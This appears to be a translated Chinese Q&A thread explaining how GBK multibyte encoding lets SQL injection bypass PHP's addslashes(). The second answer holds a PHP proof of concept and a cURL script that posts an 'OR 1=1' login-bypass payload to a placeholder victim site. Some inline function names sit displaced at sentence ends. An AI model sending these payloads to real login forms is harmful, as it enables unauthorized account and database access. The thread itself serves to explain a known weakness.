通过 addslashes() 进行 SQL 注入的示例?

2022-08-30 08:52:50

在PHP中,我知道这比使用更安全。但是,我找不到让SQL注入发生的情况的示例。mysql_real_escapeaddslashesaddslashes

任何人都可以举一些例子吗?


答案 1

好吧,这是你想要的文章

基本上,攻击的工作方式是在多字节字符的中间放置一个反斜杠,使得反斜杠通过成为有效多字节序列的一部分而失去其意义。addslashes()

文章中的一般警告:

这种类型的攻击可能适用于任何字符编码,其中有一个有效的多字节字符以 结尾,因为可以诱使创建一个有效的多字节字符,而不是转义后面的单引号。UTF-8 不符合此描述。0x5caddslashes()


答案 2

Chris Shiflett用下面的例子清楚地解释了,如果你在数据库中使用GBK编码时尝试一下,这当然是可行的。即使我试过了,这也证明,有机会进行sql注入,即使它们非常少,但是具有良好知识和能力的人可以轻松注入。下面是一个示例...

<?php 

       $mysql = array();
       $db = mysqli_init();
       $db->real_connect('localhost', 'myuser', 'mypass', 'mydb');

       /* SQL Injection Example */

       $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
       $_POST['password'] = 'guess';

       $mysql['username'] = addslashes($_POST['username']);
       $mysql['password'] = addslashes($_POST['password']);

       $sql = "SELECT * FROM   users
               WHERE username = '{$mysql['username']}'
               AND password = '{$mysql['password']}'";

       $result = $db->query($sql);

       if ($result->num_rows) {
              /* Success */
       } else {
              /* Failure */
       }

?>

虽然使用addlashes()或magic_quotes_gpc通常被认为是安全的,但使用GBK会使它们几乎无用。下面的PHP cURL脚本将能够利用注入,我希望这将有助于您进一步理解:

<?php

       $url     = "http://www.victimsite.com/login.php";
       $ref     = "http://www.victimsite.com/index.php";
       $session = "PHPSESSID=abcdef01234567890abcdef01";

       $ch      = curl_init();

       curl_setopt( $ch, CURLOPT_URL,            $url     );
       curl_setopt( $ch, CURLOPT_REFERER,        $ref     );
       curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE     );
       curl_setopt( $ch, CURLOPT_COOKIE,         $session );
       curl_setopt( $ch, CURLOPT_POST,           TRUE     );
       curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" . chr(0xbf) . chr(0x27) .
                                                 "OR 1=1/*&submit=1" );

       $data = curl_exec( $ch );

       print( $data );
       curl_close( $ch );
 ?>

推荐